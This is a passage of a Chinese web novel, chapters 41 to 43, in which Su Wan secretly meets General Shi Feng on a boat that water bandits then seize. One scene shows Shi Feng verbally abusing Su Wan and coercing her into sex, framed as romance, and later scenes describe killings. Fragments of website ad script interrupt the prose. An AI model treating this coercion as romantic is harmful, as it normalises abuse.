他三人你一言我一语,谈笑风生,倒把苏绾晾在一边,支颐凝望窗外风景。 沈枝意拉着苏绾的手,“绾姐姐,你说说话嘛,一个人窗前听雨,有什么意思。不如我们来吃酒联对子。” 她的建议得到温如初的支持,“也好,绾绾一起罢。” 沈枝意俏皮道:“我先来,雨过榴花坠。” 温如初勾了勾唇,“金鸭篆烟微。” 轮到苏绾,不费吹灰之力,“长夏蝉声满。” 最后由时枫收尾,他思了一瞬,“闲云伴客归。” 沈枝意拍手赞好:“好一个‘闲云伴客归’,雨意欲成还未成,归云却作伴人行。枫哥哥,你真好诗才!” 她觉得不过瘾,吵着再来,“画舫人争渡。” 温如初低吟,“银灯炫夜台。” 苏绾回眸望向窗外,“白头江海客。” 时枫脱口而出,“清咏独徘徊。” “好诗好诗!苏辛遗风。” 沈枝意不好意思继续夸赞时枫,干脆翘指称赞全诗。然那遮挡不住的钦羡之色,从她的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 眼角眉间舒展开来,映衬她愈加娇俏可爱。 时枫插着双臂,凤眸轻轻一卷,冷哼一声,好似没什么了不起的本事。 如此联了几番轮回,四人竟没怎么吃酒。 温如初才高八斗,名冠京城,自然不会输。两位姑娘咏雪之慧,诗词歌赋,样样皆通,也未曾吃得半点亏。 最让人难以置信的是,身为武将军的时枫,居然也通诗文,雅令通令,信手拈来,应对潇洒自如。 颇让苏绾刮目相看。 “怎么,我就该是大老粗,目不识丁,愚莽之人?” 时枫负手立在窗边,眺望远方迤逦起伏,群山如黛,表情似笑非笑,眸底晦暗,意味不明。 他怎敢在温如初眼皮底下,跟她随意搭讪闲叙? 苏绾乍然一惊,下意识往后退了退,缩紧身子,仿若受惊的小鹿。 快速逡巡四周,搜索温如初的位置——见他正举着绿玉酒杯,和沈枝意探讨苏州园林之最,到底是留园还是拙政园——苏绾方松一口气。 男人眸色瞬间冷了下去,不知被她的反应刺痛,还是别的情绪触发。冷戾眸光落在苏绾身上,久久不肯挪移,似乎非要将她盯死才罢休。 窗外雨声淅沥,在这片刻意沉寂的氛围映衬下,倏然化作轰鸣,打在苏绾心头,震得她肝胆俱裂。 苏绾拗不过那头倔牛,忸怩半晌,“将军好文采,令苏绾钦佩。” 或许见她态度诚恳,冷峻的目光稍有缓和,但男人并未打算放过她。 时枫又凑近半步,离她一臂之遥,身体微微前倾,冷冷道:“到右舷下层隔间等我。” 什么?! 苏绾正欲严词拒绝,男人却直接一个转身,大步潇洒离去,丝毫不给她讨价还价余地。 到底是有多野蛮不讲道理啊! 若惹怒那匹野兽,保不齐他又做出惊天疯狂举动。可她又不晓得该找什么借口,才不会让温如初起疑。 苏绾睨向对面,见时枫端坐酒案前,有一遭没一遭品着冷酒,颇有一股闲看庭前花开落的潇洒从容。 凝望窗外细雨,苏绾攥了攥拳,“念哥哥,绾绾想去船头看过江鱼,好不好?” 温如初一愣,外面雨意臻浓,出去一准浇成落汤鸡。但他向来宠溺苏绾,极少在这种小事上难为她——他所要的,仅仅是她的绝对忠诚而已。 “去吧,当心一点。” 苏绾挓挲一支木伞,撑着小小身影,消失在雨幕中,融入煎盐叠雪白头浪。 大约一盏茶功夫,船头聚集不少人,船家充满歉意地告诉温如初,“苏姑娘不小心滑倒在甲板,浑身衣服浸湿,家婆已送她去隔间更衣,想来要等脏衣洗净烘干后才能出来见人。” 温如初抬首眺望窗外天空,墨云叆叇,并无雨晴迹象,还要再耽搁一阵才能上岸,叹了口气,“教她当心些。” 沈枝意眼珠一转,“想不到朝堂上舌战群儒的温侍郎,私底下竟是这副柔软心肠。” 温如初忧虑道:“绾绾婑媠,品性纯良,若不时时关照她,恐怕被人掳了去,还要替人数钱。” 沈枝意抿嘴笑笑不语,明眸睐向窗边独饮的时枫,她的眸底波澜不惊,却似暗潮汹涌。 窗外淫雨霏霏,时枫一杯又一杯豪饮,眸光冷戾沉寂。花开半开,酒饮微醺,初显醉玉颓山之相。 苏绾一瘸一拐踱进隔间,方才刻意摔跤,没掌控好力度,崴伤右脚踝,又恐温如初过来照顾,不得不咬牙硬挺。 她脱下脏污石榴裙,换上船家老婆递的外衫,还未系上纽扣,忽然墙面隔板一翻,骤然钻进来一道黑影。 苏绾遽然站起身,却被一只大手从后面牢牢堵住嘴巴,场景颇为熟悉。 “叫大声些,最好把他叫过来。”男人凑近耳际,嗓音又低又哑。 41. 恶鬼 苏绾眼眸一沉,这家伙属狗的,钻洞本事一流。她欲质问他,为何如此为难她,偏要她来这里作甚。 话未出口,粗壮臂膀猛地将她扦在墙壁。 “我要睡你,立刻,当下。” 冷漠的声音钻入耳朵,像冷弦上的风寒,“你疯了吗?外面有人。” 男人面色黑沉,凤眸泛露凶光。 “你怕了?” 他不由分说,露出凶恶本相。 “怕他不要你,嗯?” 男人语气轻蔑,蕴含震怒,咄咄逼人。 苏绾一惊,原来凉亭内的窃窃私语,竟然被他囫囵偷听了去。她想为自己辩驳几句,无奈被对方紧紧压制,根本无力反击。她面色苍白如纸,紧咬着嘴唇,努力克制眼泪。 时枫将所有怒气,化作一抹钝刀,反复磋磨。 “小婊子,没男人活不成是吗?” 心头陡然像被刺了一针,有点滴的血丝浮现。她无法为自己做任何辩解,仰着头,靠在舢板,空眼望那板上的窗孔,停在那里凝伫。 “回答我。” 苏绾阖合双眼,化作一尊女神雕像,散发着冷清而死寂的微光。对方先入为主,给她扣上莫须有的罪名,她再同他争论对错,又有什么意义。 时枫逼不出她的眼泪,将双臂支撑在苏绾脖颈两侧,嘴角散发出一点腥薄酒气,但他头脑很清醒。 “不是求我帮你远离他?怎么又反悔?你就这样下贱?” 那日收了眼线的消息,得知她身体不适,为此他心神不宁,日思夜想,总还是不放心。她性子急,万一受了刺激,又犯癔症怎么办? 他想当面跟她解释,苏尽欢的案子并非想象地那般简单,他也不是故意欺骗她,不给她办事。 于是他忽悠沈枝意逛北海,堂而皇之,又十分“巧合”地偶遇他们。 可她竟伏在温如初怀抱,娇滴滴地嗔怨他不要她,哪里是想退婚的样子?这女人分明就是想利用他,拿他当“冤大头”。 时枫瞪着血红的眼,恶狠狠碾上两片薄唇,发狠地咬下去,直咬出满嘴血腥。从未有人胆敢这般戏弄他,将他一颗真心,玩弄于股掌之间。他像发怒的野兽,恨不能将掌中猎物撕咬扯烂,抽筋拔骨。 “苏绾,你到底想要什么?” 时枫啐了一口血渣,凤眸里燃着怒火,睇着绝望无助的星眸,似要看透那颗百转千回的心。他想不通,苏绾人前人后,简直判若两人,仿佛戴着一千层面具,叫他窥探不到真面目。 苏绾以手背拭去嘴角血痕,抬眸睥着他,眼神勇毅果敢,“我想要的,第一次就已经告诉你了,还来问我做什么?” 见她终于肯开口,时枫心内一松,“你想假我之手,推开温如初。可你为何几次三番对他恋恋不舍,投怀送抱?” 他停顿了一瞬,咬了咬牙,“是怪我没能处理好苏尽欢的案子吗?” 苏绾冷笑道:“你见我贴着他,就认为我对他恋恋不舍?你可知道这世界上,有一种恶鬼,专以吃人为生,它们戴着人皮面具,混迹于尘世,世人极难分辨——温如初恰好就是鬼。你所认识的温如初,光风霁月,澹然朱紫,但那并不是真正的他。他面具底下隐藏的丑陋,你根本无法想象。” 时枫一脸愕然,眼神充满疑惑与不解,世界仿佛在这瞬间,摇身一变,成为千古谜题。 苏绾忽略他的目光,“温如初与别的鬼不同,他是世间至凶至残的恶鬼王。在你一无所知的情况下,他已渐渐把爪牙伸向京城各处,有朝一日,还要肆虐朝堂,□□。你当苏尽欢一案的结果,只是偶然?你可曾想过,夜鬼怎会踽踽独行?必是网罗一众乌合,沆瀣一气,形成坚不可摧之堡垒。恶鬼从来不惮以贪婪之心,窥探这满世繁华。” 她捂住颤动的胸口,星眸倒映满天星河,熠熠生辉,仿若神女下世,“我自不甘成为恶鬼的猎物,鬼要吃我,我岂能甘心束手就擒?但你叫我如何逃脱恶鬼的桎梏?我之所有,唯我自己。用我平凡的血肉身躯,去抵挡恶鬼青面獠牙。我还须借一柄三尺利剑,以勇气为锋,以刚毅为锷,上斩颈脖,下决肝肺,叫那恶鬼无处可逃。” “你,就是我的剑。” 言讫,苏绾仿佛用尽最后一丝气力,如陨星坠落,眸子悄然黯淡,两汪氤氲水花汇成泪水,沿着桃花面颊汩汩而下。 时枫直直呆愣,反复琢磨她的那些言词,总觉得情理不通。他疑心她在装神弄鬼,企图逃避罪责与诘难,这女人嘴里没有一句实话。 可当他蓦然低首,撞见绝望无助的脸颊,又有些于心不忍,心里千百纠结烟消云散。这眼泪总算是给逼出来了——他要的不就是这个么。 男人垂眸,乌黑瞳仁睇着她,咬了咬嘴唇。大掌碾过脸颊,揩去伤心源泉。 女人苍白嘴唇索索地抖着,似有更多话语倾诉,却被粗壮指头堵住。 “不必多言,我知道了。” 苏绾微微惊愕,掀眸看他,望见柔软的眼眸,浓密黑长的睫毛扑扇,再无冷戾暴虐气息。像幽深墨潭,水面平静,没有一丝涟漪。 几缕残光从隔间顶端甲板缝隙内渗入,洒在男人刀劈斧削般的脸颊,陡然而落,连带着苏绾一起跌进那汪深潭,越陷越深。 苏绾闭上眼睛,轻轻无声地叹息,身体骤然懈力,筋软骨酥,化作一片翎羽,瘫倒在他怀里。 “坐下来说。” 时枫小心翼翼托着她坐在铺上,将她安置在膝间,正对着脸抱她,如同醉仙楼那日。他知道她不喜倚靠硬物,用柔软的怀抱拢着她。 垂眸低低望着她,看她弯弯眉黛下,洇润的星眸,映照漫天星辰。他在星河里徜徉,撞见一颗凌乱孤寂的心灵。 嫉妒的怒火猝然熄烬,心中唯有歉意与内疚。宽阔臂膀环绕她,帮她纾解压力。 “我错怪你了。” 他的声音低沉而稳重,呼啸轰鸣灌入耳际,带着不可承受之重。刹那间,苏绾的心灵仿佛被里外涤荡,温澜潮生,所有委屈和不满一扫而空。 “我保证不再有下次。” 苏绾倒在宽阔的胸膛,贴近温暖狂跳的另一颗心,满腔孤寂找到填补。渐渐地,坚硬如铁的外壳开始冰泮,死寂的心又重新活跃起来。 心里仍有些纳罕,为何狂暴野兽突然变得温驯柔软,不再对她利爪相虐,难道她念了什么驯兽咒语不成? 她怎会知道,他之索求,仅仅两滴眼泪而已。 在他听来,恶鬼之说荒诞无稽,宛如天方夜谭。但他晓得苏绾有癔症和疯症病史,担心她又一次濒临崩溃。只恨自己被嫉妒迷蒙了眼,变成苏绾口中所说的“恶鬼”,推她堕入无尽深渊。 不过,至少有一个答案他能够确认:她对那戴假面具的“恶鬼”,全是敷衍;而她在他面前流下的眼泪,也不是骗他。 如此一想,他禁不住得意起来。 “苏绾,我可以做你的剑,只要你能乖乖听话。”男人凑近她耳畔,声音低沉雄浑。 尽管那话语仍然充斥着专横跋扈与满溢的控制欲,但是苏绾明白,让不可一世的“冷面阎罗”低头认错,心甘情愿做她的棋子,难于上青天。 苏绾偎依在他怀里,睫毛剪了剪,眼眸凝结万年风霜。她不惜重活一世,终于抓住了时代的潮流,救命的稻草。 有他在,她可以的。 时枫捧她在怀里,好似一块宝贝,抱了许久,怎么都抱不够似的,直至苏绾开始挣扎,“你还不快走,耽搁太久,会被人发现。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可他却死活不肯挪身。 方才不得尽兴,火气犹残,这会子又有些蠢蠢欲动,万物复苏的迹象。 “做你的剑,总要有些好处。” 时枫挑了挑眉,睐着佻达的眼,嘴角噙着不怀好意的笑。 苏绾杏眼圆睁,都什么时候了,这条黑狗居然还想祸害她,难道之前做得那些都白白付出么。 她坚决果断地摇摇头。 时枫不肯收回成命,凤眸一翻,摆出无赖相,“契约里怎么说来着?我想睡你,随时随地都可以。” 苏绾直想狠狠捶死他,这家伙的脑子长在下半身,都不考虑后果。外面那么多双眼睛盯着,被人发现只有死路一条。 男人却不管不顾,火气上涌,天王老子来了都不怕,邪魅勾唇一笑,“本将军保证下手悠着点。” 苏绾拗不过他,轻叹一口气,不喂饱这匹欲兽,铁定不会妥协让步。她只得收起抵抗的心思,化身待宰羔羊。 窗孔嵌进来微光,凉雨断断续续式微,偶有几滴水珠倏然而落,又在炽热情潮起伏中,升腾为薄雾袅袅。 时枫守信,果然没有吃死力,但他习武之人,身强体健,膂力过人,与常人大小亦不同。 男人翻手为云,覆手为雨。所到之处,每一下都是震撼心灵的致命打击。 苏绾只觉得昏了又死,死了又生,不住低低哀求,泪洒了几轮,也未曾改变他的凶狠霸道。哪里还是之前那个低声下气说着“我错了”的人。 苏绾流着泪,“求将军轻一些。” 然而换来的,却是更加猛烈的惊涛骇浪。翻天浪花拍打船板,遮掩隔间内的低吟。 时枫眷眷不舍从温柔乡割舍出来,心里直呼爽快。像啜饮一瓮陈年佳酿,浑身毛孔都清爽敞开,熏风解愠。 他有理由怀疑,苏绾是某种精灵花妖所化,浑身软绵绵,触摸娇滴滴。入之则又变作凶恶八爪鱼,狠狠咬住不松口。他非要使出全身尽数,与之缠斗三百回合,方有胜算。 时枫深刻体验到那句话的精妙,所谓“牡丹花下死,做鬼也风流”。这样一块尤物宝贝,得之幸之。当然不肯轻易拱手让人。 为薄红颜一笑,铤而走险亦值得。 时枫盘算着计划,站起身更衣,不小心触碰苏绾的脚踝,她眉间轻轻一蹙,声音极低地“啧”一下,却被黑豹般灵敏的感官捕捉。 “伤了?” 他猛然间意识到,苏绾为服从他的命令,佯作摔倒甲板,崴伤脚踝。心里似被狂风暴雨肆虐后的沉寂,脸色瞬间晦暗。 时枫从怀里掏出一枚六角剔红漆盒,棋子般大小,里面存放一种墨绿色透明膏体。时枫蘸取药膏,捧起雪白脚踝,温柔地扭动摩挲,“他有没有逼迫你?” 苏绾回忆起凉亭内惊心动魄一幕,不禁身子骨颤了颤,却是垂下头,一言不发。 她向来不爱诉苦,时枫也不再深究,他大概猜到,温如初多半又揪着她的错处,不肯放过她。 男人咬了咬后槽牙,“你不要急,答应你的事,我都会做到。倘若他再要你做些你不想做的事情,直接拒绝他就是,剩下的交给我来办。” 时枫将漆盒盖好,丢给苏绾,“拿去用,每日早晚涂抹,三日必好。” 苏绾秀眉轻皱,满脸厌恶之色,“什么鬼东西,毒药吗?” 时枫睨了她一眼,没好气地答道:“杀你焉用毒药?一掌劈死你就够了。我在漠南驻防时,这东西救过我的命。” 苏绾撇撇嘴,抚摸着受伤的脚踝,疼痛感已减轻不少,不知道是不是出于按摩的效果。她皱皱粉红鼻尖,冥冥之中,似乎摸索到一点与他相处的经验。 忽然敲门声骤起,震得苏绾一颤,“是谁?” 42. 闺蜜 “是我,沈枝意。” 清脆稚嫩声音传来,“绾姐姐,你在里面耽搁那么久,我来看看你是不是有什么事情。” 苏绾怛然失色。 “来了……” 她一边答应着,一边风驰电掣般整理好床铺,动作麻利地穿戴整齐。好在船家老婆的衣襟简单易穿,一件衣褂,一条绔子,随意套上而已。 时枫悠闲插着双臂,笑眼睇她忙碌,仿佛这一切和他没有半文钱关系。还时不时地踢一脚塌床木架,发出“吱嘎”声响,人为制造危险祸端,引得苏绾嗔目狠狠瞪他。 不知为何,他很享受看她为他心慌的样子,好似炸毛玉兔,掉进陷阱惶惶不安。而他,作为陷阱的缔造者——猎人,满心欢喜。 炸毛玉兔再也忍受不了猎人的挑衅,连连摆手催促他离开。 时枫擎住佳人后脑,凑到嘴边偷尝胭脂,狠狠地亲了一口,依依不舍捏了下桃花面颊。男人不慌不忙低下身,钻过墙壁隔板,从暗道原路返回,进入另一侧船舷隔间。动作如夜兽般迅敏无声,顷刻消失无踪,隔间余留淡淡的雪松气息。 送走阎罗王,苏绾快速整理云鬓,袖口擦拭某人在嘴边留下的罪证,眼眸沉沉,莲步轻挪,缓缓打开木门。 遇见一只百灵鸟。 沈枝意跨进隔间,娇俏鼻尖微微耸动,明眸不经意流转,觑着苏绾道:“绾姐姐,我方才见你脸色不大对劲,好似忍着痛。你是不是受伤了,还是有难言之隐?” 好细心的姑娘。 苏绾心内暗自赞叹,面上表情淡定,“无妨,甲板太滑,脚踝扭了下,已经全好了。” 沈枝意盯着苏绾看了又看,看得苏绾心慌,大有一种谎言被拆穿的既视感。 孰料沈枝意竟先乱了阵脚,葱指指着苏绾道:“呀!绾姐姐,你的嘴唇怎么破皮了?” 苏绾下意识地以手背遮挡裂唇,“脚伤……有点痛,强忍着,才咬破嘴。不碍事。” 不过两回合,苏绾应对不暇,捉襟见肘,对方实在太难缠。 沈枝意捉住苏绾一双葇荑,充满怜惜道:“绾姐姐何必独自忍受痛苦?是怕温侍郎担心吗?你俩感情真好,鸾俦凤侣,互为彼此挂念。比目相随何辞逝,只羡鸳鸯不羡仙。” 苏绾不知如何回应,只翘了翘嘴角。 沈枝意见她无大碍,这才放心,递上一包衣裙,“船家要我给你的,全都烘干了,暖洋洋的,好舒服哩。” 迟疑着,苏绾接过衣裙,却不着急换,她的身体刚被黑狗啃过,周身布满红印,暂时见不得光。有一搭没一搭同沈枝意叙话家常,问她和谁一起来京,住在何处,要住多久,诸如此类问题。 少女捋两根发辫,姿态天真浪漫,“我同爹爹端午节才到,暂时客居在枫哥哥府里,爹爹奉召而来,见过皇上以后,大概就要回去了,最多不过一月。” 她想了想,撅着小嘴惋惜:“温侍郎讲,你们婚期定在九月初八,我见不到绾姐姐穿婚服的模样啦。好可惜哟。” 一席话直撞进苏绾心里,苏夫人已同殷潜交涉,要让温如初提前南下巡察,六月底就要出发,这会子奏折应该已被批复,而她却还没有想好对策。 她不过沉默一瞬,沈枝意却像看穿她的心事般,抓着她的手腕,“绾姐姐不高兴结婚?” 被人击中要害,苏绾惊得一颤,慌忙下意识抽回手,强做镇静,道:“没有没有,婚期是由苏温两家共同商定,如今你无法参加,我替你感到遗憾。你走得这样匆忙,时将军会挽留你们吧。” 沈枝意双膝跪在铺上,满眼星光灿烂,“绾姐姐,不怕告诉你,我从小与枫哥哥定下娃娃亲,得到双方家长的首可。如今我已长大成人,是时候履行婚约啦。爹爹带我来京城,就是为我与时家商谈定亲事宜,安排三书六礼,不会耽搁太久。” 这次苏绾不藏着掖着,把惊诧明明白白写在脸上,手中石榴裙也掉落,“娃娃亲?他怎么没跟我提过?” 果然,沈枝意眸光一闪,“绾姐姐同枫哥哥很熟吗?我以前怎未听他说起过你?你们何时认识的?” 苏绾骤然意识到自己言行冒失,她与时枫才相识多久,他犯不着将家底都如数抖落给她看。 她眼神闪躲,连忙改口:“时将军隐藏够深的,马上就要定亲,却一点都不显山漏水。” 沈枝意障袂偷笑道:“都是我自已胡乱瞎想的,这事还没说定呢,枫哥哥也没表态。绾姐姐不要告诉别人哦。” 苏绾讪笑道:“放心,我自是不会同人讲。” 沈枝意坐了一阵,跟苏绾打声招呼就走了。随着木门咔嚓一声关闭,少女明亮眼眸瞬间暗沉,心底翻涌潮生沧海。 她预料的没错,时枫刚刚就待在船舱内,和苏绾在一起,小小隔间充满了松木香味——那是枫哥哥时常用的熏香。 孤男寡女,共处一室,非奸即盗。 自从时枫主动提出带她逛北海,沈枝意就感觉到不对劲,这并非枫哥哥的作风。 直至见到苏绾以后,时枫居然破天荒地邀请游江,他一向不喜欢应酬,又怎会上赶着打搅情侣幽会。 为此沈枝意拉住温如初谈天论地,故意拖延时间,给二人制造机会独处。 不出所料,一个假装滑倒,另一个故作微醺,千方百计凑到一处,极尽苟且龌龊之事。 “呸,下贱婊子,明明已谈婚论嫁,还要勾引枫哥哥,哄得枫哥哥上头。哪里是什么名门闺秀,分明一只骚狐狸。” 必须尽早告知温侍郎,揭露骚狐狸的丑恶嘴脸,让她从此不敢再招惹枫哥哥。 沈枝意勾了勾发梢,纯真眼神不经意间透着一股杀意,尽数淹没无穷海浪。身影一闪,向船舱深处跑去。 隔间内,剩下苏绾对着舢板木门空叹息。那个家伙,竟然也背负婚约,还是娃娃亲。既如此,该是设身处地理解女人的难处,如何这般难缠,还想尽办法骗她履行所谓的契约,哼,人渣。 可不知为何,她总觉得,沈枝意这丫头不简单。单看她为人处世态度,与前番吃酒行令时,就大不相同,少了一丝沉着冷静,多了一份刻意的天真。又是个鬼机灵,察言观色本事一流,令苏绾难以招架。 但愿沈枝意不要成为她前行路上的绊脚石,否则,即便是那家伙的意中人,也阻挡不了她前行的决心。挡我者,杀无赦。 她摸摸扭伤的脚踝,好得十分迅速,一炷香工夫,几乎青紫全无,得益于时枫留下的药膏。 兵营里摸爬滚打之人,果然很有经验。只不过那药膏一股柏子油气味,闻着有些刺鼻,苏绾不很喜欢,用过之后,随手揣进口袋,再不去想它。 心内不断恨恨腹诽渣男龌龊,苏绾穿戴船婆子烘好的石榴裙,极力遮掩身体被狗啃过的痕迹,确保自己不会露出破绽,这才窈窕趸出兰房。 莲步刚跨过木门,忽然船舱深处传来“砰”的一声巨响,紧接着一阵劲风过境,引起船身剧烈震荡,颠簸起伏,宛如枯木过江水。 苏绾被大船波动甩得前仰后合,晕头转向,站立不稳跌足摔倒。又不知从何处窜出一股浓浓黑烟,呛得她无法呼吸,咳嗽不止。 一边彷徨不知所措,她捂住胸口,跌跌撞撞爬起身,在黑烟弥漫中摸索前行,口中大呼:“有人在吗?” 眼前人影憧憧,被黑烟遮挡面容,勉强显露人形,大嘴咧开露出森森白牙,“小娘子,你往哪儿跑。” 听声音来者不善,苏绾果断转身就跑,可还没迈出两步,身体陡然被人腾空架起。她急得小腿乱蹬乱踹,“放开我。”歪头寻到束缚她的粗壮手臂,“吭哧”一口狠命咬下去。 那人疼得吱哇乱叫,恶狠狠甩 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 小鸡子般甩掉苏绾,“敢咬老子,活得不耐烦。” 谢天谢地,和那个铜头铁臂的家伙相比,这人简直柔弱如鸡。苏绾得空喘息,寻着光亮源头,提裙不顾一切向船舷外跑。 光亮尽头,硝烟滚滚。 苏绾一心往外逃,前方路模糊不清,结果迎头撞进一座大山。 “哎哟。” 抬眼一看,噫,这不是湖边揍人的络腮胡么? 此人凶狠残暴,杀戮同僚,绝非善类。她果断掉头向后逃跑,后方遭她啃咬的歹匪霍霍逼近,她已无路可退。 苏绾攥紧手心。 这到底是怎么回事? 一切发生地太过突然,让她无力思考反击。 黑雾连山处,突然冲出船婆子,满身鲜血淋漓,惊叫迎面跑来,“姑娘,救救我。” 苏绾不假思索伸出手臂接应,“你快过来。” 身后络腮胡端起叉鱼连弩,嗖的一下,标枪射中船婆。女人应声倒地,连句遗言也未留下,掌尖将将够到苏绾的绢鞋面,留下五个血红的手指印。 “啊——” 血腥场面刺激了苏绾的神智,她双眼睁得大大,面色苍白,额首沁满冷汗,身子止不住地颤抖。 她摇摇晃晃屈膝跪下,双手颤颤巍巍,拂过船婆子未及瞑目的眼,脑中一片空白。 就在刚刚,她还穿着船婆的衣裳,在隔间里肆意挥霍人生。而衣裳的主人,人生却戛然而止。 生命,如此脆弱。 烟雾散尽,凫皮靴踏着血泥,一步一个赤脚印,衬托竹月色绢纱襕衫,风吹浪动云根,梦幻般飘逸摇曳。 苏绾掀起迷蒙的眸,望见陌生且熟悉的脸颊,细长眼角,棱静檀唇,头簪网巾,襕衫风尘冉冉,带着秋月寒山的孤冷。 “你和船婆子很熟?她死不死,与你何干?”语气不紧不慢,好似闲逛的游客。 “不过萍水相逢,一锤子买卖,弄得像血脉相连的亲眷,这般生死相依,女人真是奇怪。”细长眼角瞟了瞟,倒真好似完全无法理解。 难以理解的人不止他一个,苏绾对于突然发生的状况尚且一无所知,尤其是眼前这个人,逻辑混乱,语无伦次,完全听不懂他的话语。 苏绾问道:“你想干什么?” 那公子宽大袍袖一甩,轻描淡写道:“我想做什么,不是很明显吗?水贼上船,打家劫舍。我要拿你的命,换取我想要的东西。” “你怕了吗?” 苏绾凝眉仔细盯了襕衫公子一阵,不知为何,总感觉他的面相有些似曾相识。她搜索两世记忆深海,终一无所获,这人好像隐藏在石缝罅隙的蜈蚣,遍寻不到他的踪影,但她明明记得有这么个人存在。 襕衫公子见苏绾愣着不作答,拿细长的眼角睨她,“等你的心上人救你?他现在忙得很,没空理你。” 苏绾以为他口中的“心上人”,毫无疑问指的是温如初,也便放胆斥道:“大胆狂徒,你可知他是谁?他是三品户部侍郎温如初,京城官场权贵,世家大族,三教九流,哪个不要看他的面子说话。你拿我的命来威胁他,恐怕打错算盘了。” “呵。”襕衫公子一声嗤笑。 “温侍郎……不过狗仗人势。他背后撑腰的主人,也奈何不了我几分,何况区区一条狗?” 细长眼角挑了挑,“被你舍弃的鸡肋,我为何要捡起来舔上几口?” 讲得什么乱七八糟的话,让人完全听不懂。哪知下面一句话,却让苏绾瞬间浑身冰凉。 襕衫公子伸开两臂,带着狰狞的笑意,“你不会以为,自己玩弄所有人于股掌间吧?这条船上,恐怕只有你一个自以为是的傻瓜。” 苏绾大吃一惊,“你、你是说……” 细狭眸色猝然晦暗,声音沉寂如海,“你猜,他会不会选择你?” 43. 水贼 另一边船舷隔间外。 画舫接连发生的变故,立刻引起时枫的警觉。他快速逡巡船舱,周围浓烟滚滚,视野受限,看不清楚状况。他果断抽出腰间系着的汗巾,蘸船舷凹槽积存的雨水,捂住口鼻向船舱深处走去。 平静水面涟漪叠起,漩涡中心悄悄钻出几只黑影,抓住船舷铺设的缆绳,无声无息攀爬船顶。 几杆鱼枪嗖嗖袭来,直击时枫后背。 男人一个漂亮的仰身回转,完美躲避敌人攻击。 水鬼穿着熟绢水裈,头戴黑布面罩,手握短刀匕首,呈半圆状队列,齐齐靠拢。 时枫自腰间束带内侧,兀自抽出一柄三尺长鱼鳞软剑,潇洒横头一剑,寒影曝射。 锋利剑刃割破前排先头兵的喉咙,鲜血如泉眼瞬间喷涌。 其余水鬼一拥而上,展开群起攻击。 软剑飞梭,金光闪耀,不多时,十几水鬼瞬间被尽数拿下。 冷剑闪着金光,指向唯一活口。 “谁派你们来的?” 水鬼一声不吭,咬舌自尽。 无暇多想,时枫提着鱼鳞剑,踩着满地尸身,向船舱中心的茶室奔去。 他在心里快速分析战况,敌人虽水鬼打扮,然手段狠辣,训练有素,不像是寻常打家劫舍的歹匪——上来不问钱财背景,一心取人性命。 男人提剑风雷前行,视线豁然开朗。 茶室人满为患,水鬼匕首抵着船老大的喉咙。 船夫见船老大被制服,失去抵抗力,乖乖束手就擒,整座画舫已被水贼控制。 温如初被困在茶室中央,私服出游又没带侍卫,颇有种穷途末路的窘迫。桃花眼眸晦暗,面容沉静,双手搭在椅臂,两腿微微分开,牙白锦袍铺满藤椅。 时枫躲在阴影里,瞅准时机捕捉温如初的眼神。 只一两个转眸,眼神猝然相遇。 时枫伸出两根手指,微微弯了弯,“两位姑娘怎么样?” 温如初阖合眼眸,几不可察地摇摇头,“她们不在这边。” 时枫眉间拧了拧,看来敌人算准了四人分散一方,采取“分而击之”策略。非临时起意,当是蓄谋已久。 他拍拍胸膛,按下手掌,“我去找她们。” 食指点点温如初,“你找机会逃跑。” 温如初微微颔首,眼角扫过水鬼手中的鱼枪,只他一人的话,逃脱应该不是问题。 他二人从小玩到大,彼此之间形成默契,单凭一个眼神,便知对方所想。 忽然左舷上路传来沈枝意惊恐尖叫:“枫哥哥,快来救我!” 恰时节,右舷下层响起苏绾的绝望而恐惧的声音,“啊——”。 两边同时发生状况。 温如初剪了剪桃花眼眸,“你要救哪个?” 男人咬了咬牙,再也不去瞧发小兄弟的眼神,转身消失于风浪云平。 桃花眼眸愈发晦暗,眸底波涛汹涌潢潦,可怜的仅存一分的信任,顷刻间化为乌有,随风而逝。 苏绾心情十分矛盾。一方面,她渴望时枫拯救她出水火;另一方面,她又怕被温如初看破她的秘密。 以至于当男人踏着风浪,翛然出现视野中时,她竟然微微叹了口气。 那点小小的叹息,被身旁的襕衫公子瞧得一清二楚。 “看来我赌对了。” 他陡然站起身,袖内抽出折扇,难以压抑心中兴奋。 远处男人抽出松花汗巾,不慌不忙擦拭鱼鳞软剑的血痕,眼角不时扫过周遭,暗中观察是否藏有埋伏机关。 左前方椽木后端,五人隐藏其后;右前方桅杆处,露出黑色衣角;船舱顶部趴伏三四蒙面人,到处隐藏危机。 此人绝非普通人,应是受过严格的军事训练,夺船过程经过周密布置,事先踩点,抢在他们之前早早登船。 所为何来? 男人凤眸闪动,金剑一指,声音冰冷:“报上名来。” 襕衫公子停住折扇,拱手拜道:“在下姓萧,萧染,京城良家子,见过时将军。” 时枫啐了一口,“没听说过。” 萧染的细长眼眸闪了闪,“而今不是听说了吗?” 竹月色襕衫袍子一甩,“萧染久仰将军大名,‘冷面阎罗’谁人不知,谁人不晓?将军此次驾临京城,在下恭求拜会,惟愿与君临江对月畅饮。可惜你那守门的侍卫狗眼看人低,不肯替我递帖子,萧染只好毛遂自荐,亲自找上门来。” 细长眼眸目空一切,“赢了你,我就是下一任‘冷面阎罗’,而这京城布防司的天下,将由我萧染掌管。” “敢问将军,今日可有空暇,与在下切磋切磋?” 又是一个沽名钓誉之流,但时枫并不相信他的这套说辞。 作为京卫指挥使,名义上旨在拱卫京师,然而京城重地,鱼龙混杂,三教九流,黑白两道,各为其主。倘若时枫连这点自觉都没有,他都不能活着从漠北走到京城,半路就会被人干掉。 萧染非黑非白,出师不明,下三滥的谋略,只会拿女人当钓饵。 小人。 松花汗巾凭空一丢,男人剑指萧染,凤眸增添一丝冷戾,“放了她,一切都好说。” 萧染回眸扫了眼苏绾,佳人神情专注,面色因紧张而略显泛红,身体微微颤抖,好似掉入陷阱的猎物。 小小收获愉悦了猎人的心,萧染打趣道:“放了这只金丝雀,我还有什么资格,与将军坐在同一桌牌局?” 折扇抵住佳人下颌,眼眸泛漾笑意,“我可是好不容易才逮住她的哟。” “你放肆。”苏绾被人调戏,又气又羞,玉手狠狠甩掉折扇。 